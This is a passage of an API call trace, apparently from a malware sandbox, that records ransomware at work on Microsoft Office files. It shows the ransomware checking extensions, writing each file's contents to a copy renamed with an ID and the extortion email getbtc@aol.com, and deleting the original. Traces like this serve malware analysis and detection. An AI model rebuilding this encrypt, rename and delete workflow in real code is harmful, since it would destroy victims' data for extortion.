[0257.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.104] lstrlenW (lpString=".zip") returned 4 [0257.104] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0257.104] lstrlenW (lpString=".rar") returned 4 [0257.104] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0257.104] lstrlenW (lpString=".bz2") returned 4 [0257.104] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0257.104] lstrlenW (lpString=".7z") returned 3 [0257.104] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.104] lstrlenW (lpString=".dbf") returned 4 [0257.104] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0257.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.104] lstrlenW (lpString=".1cd") returned 4 [0257.104] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0257.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0257.104] lstrlenW (lpString=".jpg") returned 4 [0257.105] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0257.105] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0257.105] lstrlenW (lpString="WWINTL.DLL.IDX_DLL") returned 18 [0257.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.105] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=108416) returned 1 [0257.105] CloseHandle (hObject=0x3e4) returned 1 [0257.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll")) returned 0x20 [0257.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.106] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.106] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0257.106] GetLastError () returned 0x0 [0257.106] ReadFile (in: hFile=0x3e4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x1a780, lpOverlapped=0x0) returned 1 [0257.166] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x1a790, lpOverlapped=0x0) returned 1 [0257.168] ReadFile (in: hFile=0x3e4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.168] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0257.168] SetEndOfFile (hFile=0x3dc) returned 1 [0257.168] CloseHandle (hObject=0x3dc) returned 1 [0257.168] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.168] SetEndOfFile (hFile=0x3e4) returned 1 [0257.172] CloseHandle (hObject=0x3e4) returned 1 [0257.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll")) returned 1 [0257.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.173] lstrlenW (lpString=".doc") returned 4 [0257.173] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.173] lstrlenW (lpString=".docx") returned 5 [0257.173] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.173] lstrlenW (lpString=".pdf") returned 4 [0257.173] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.173] lstrlenW (lpString=".xls") returned 4 [0257.173] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.173] lstrlenW (lpString=".xlsx") returned 5 [0257.173] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.173] lstrlenW (lpString=".ppt") returned 4 [0257.173] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.173] lstrlenW (lpString=".zip") returned 4 [0257.173] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.173] lstrlenW (lpString=".rar") returned 4 [0257.173] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.173] lstrlenW (lpString=".bz2") returned 4 [0257.173] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.173] lstrlenW (lpString=".7z") returned 3 [0257.173] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.173] lstrlenW (lpString=".dbf") returned 4 [0257.173] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.173] lstrlenW (lpString=".1cd") returned 4 [0257.173] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.173] lstrlenW (lpString=".jpg") returned 4 [0257.173] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.174] lstrlenW (lpString=".doc") returned 4 [0257.174] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString=".docx") returned 5 [0257.174] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.174] lstrlenW (lpString=".pdf") returned 4 [0257.174] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString=".xls") returned 4 [0257.174] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString=".xlsx") returned 5 [0257.174] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.174] lstrlenW (lpString=".ppt") returned 4 [0257.174] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.174] lstrlenW (lpString=".zip") returned 4 [0257.174] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString=".rar") returned 4 [0257.174] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString=".bz2") returned 4 [0257.174] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString=".7z") returned 3 [0257.174] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.174] lstrlenW (lpString=".dbf") returned 4 [0257.174] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.174] lstrlenW (lpString=".1cd") returned 4 [0257.174] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0257.174] lstrlenW (lpString=".jpg") returned 4 [0257.174] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.174] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0257.175] lstrlenW (lpString="wxpr.dll") returned 8 [0257.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0257.193] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=16776) returned 1 [0257.193] CloseHandle (hObject=0x20c) returned 1 [0257.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll")) returned 0x20 [0257.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.312] lstrlenW (lpString=".doc") returned 4 [0257.312] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.312] lstrlenW (lpString=".docx") returned 5 [0257.312] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0257.312] lstrlenW (lpString=".pdf") returned 4 [0257.312] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.312] lstrlenW (lpString=".xls") returned 4 [0257.312] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.312] lstrlenW (lpString=".xlsx") returned 5 [0257.312] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0257.312] lstrlenW (lpString=".ppt") returned 4 [0257.312] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.312] lstrlenW (lpString=".zip") returned 4 [0257.312] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.312] lstrlenW (lpString=".rar") returned 4 [0257.312] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.312] lstrlenW (lpString=".bz2") returned 4 [0257.312] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.312] lstrlenW (lpString=".7z") returned 3 [0257.312] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.312] lstrlenW (lpString=".dbf") returned 4 [0257.312] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.312] lstrlenW (lpString=".1cd") returned 4 [0257.312] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.312] lstrlenW (lpString=".jpg") returned 4 [0257.312] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.313] lstrlenW (lpString=".doc") returned 4 [0257.313] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.313] lstrlenW (lpString=".docx") returned 5 [0257.313] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0257.313] lstrlenW (lpString=".pdf") returned 4 [0257.313] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.313] lstrlenW (lpString=".xls") returned 4 [0257.313] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.313] lstrlenW (lpString=".xlsx") returned 5 [0257.313] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0257.313] lstrlenW (lpString=".ppt") returned 4 [0257.313] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.313] lstrlenW (lpString=".zip") returned 4 [0257.313] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.313] lstrlenW (lpString=".rar") returned 4 [0257.313] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.313] lstrlenW (lpString=".bz2") returned 4 [0257.313] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.313] lstrlenW (lpString=".7z") returned 3 [0257.313] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.313] lstrlenW (lpString=".dbf") returned 4 [0257.313] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.313] lstrlenW (lpString=".1cd") returned 4 [0257.313] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56 [0257.313] lstrlenW (lpString=".jpg") returned 4 [0257.313] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.313] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0257.314] lstrlenW (lpString="XLINTL32.REST.IDX_DLL") returned 21 [0257.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.342] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=383872) returned 1 [0257.342] CloseHandle (hObject=0x3c8) returned 1 [0257.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 0x20 [0257.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.342] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.411] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.483] GetLastError () returned 0x0 [0257.483] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x5db80, lpOverlapped=0x0) returned 1 [0257.492] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x5db90, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x5db90, lpOverlapped=0x0) returned 1 [0257.498] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.499] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfe, lpOverlapped=0x0) returned 1 [0257.499] SetEndOfFile (hFile=0x3e0) returned 1 [0257.499] CloseHandle (hObject=0x3e0) returned 1 [0257.499] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.499] SetEndOfFile (hFile=0x3c8) returned 1 [0257.530] CloseHandle (hObject=0x3c8) returned 1 [0257.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 1 [0257.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.605] lstrlenW (lpString=".doc") returned 4 [0257.605] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.605] lstrlenW (lpString=".docx") returned 5 [0257.605] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.605] lstrlenW (lpString=".pdf") returned 4 [0257.605] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.605] lstrlenW (lpString=".xls") returned 4 [0257.605] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.605] lstrlenW (lpString=".xlsx") returned 5 [0257.605] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.605] lstrlenW (lpString=".ppt") returned 4 [0257.605] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.605] lstrlenW (lpString=".zip") returned 4 [0257.605] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.605] lstrlenW (lpString=".rar") returned 4 [0257.605] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.605] lstrlenW (lpString=".bz2") returned 4 [0257.605] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.605] lstrlenW (lpString=".7z") returned 3 [0257.605] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.605] lstrlenW (lpString=".dbf") returned 4 [0257.605] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.606] lstrlenW (lpString=".1cd") returned 4 [0257.606] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.606] lstrlenW (lpString=".jpg") returned 4 [0257.606] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.606] lstrlenW (lpString=".doc") returned 4 [0257.606] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString=".docx") returned 5 [0257.606] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0257.606] lstrlenW (lpString=".pdf") returned 4 [0257.606] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString=".xls") returned 4 [0257.606] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString=".xlsx") returned 5 [0257.606] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0257.606] lstrlenW (lpString=".ppt") returned 4 [0257.606] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.606] lstrlenW (lpString=".zip") returned 4 [0257.606] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString=".rar") returned 4 [0257.606] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString=".bz2") returned 4 [0257.606] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString=".7z") returned 3 [0257.606] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0257.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.606] lstrlenW (lpString=".dbf") returned 4 [0257.606] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.606] lstrlenW (lpString=".1cd") returned 4 [0257.606] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0257.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0257.607] lstrlenW (lpString=".jpg") returned 4 [0257.607] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0257.607] lstrcmpiW (lpString1=".ACL", lpString2=".Q1G") returned -1 [0257.607] lstrlenW (lpString="MSO.ACL") returned 7 [0257.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.607] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=50556) returned 1 [0257.607] CloseHandle (hObject=0x3e4) returned 1 [0257.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 0x20 [0257.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.608] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.608] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0257.645] GetLastError () returned 0x0 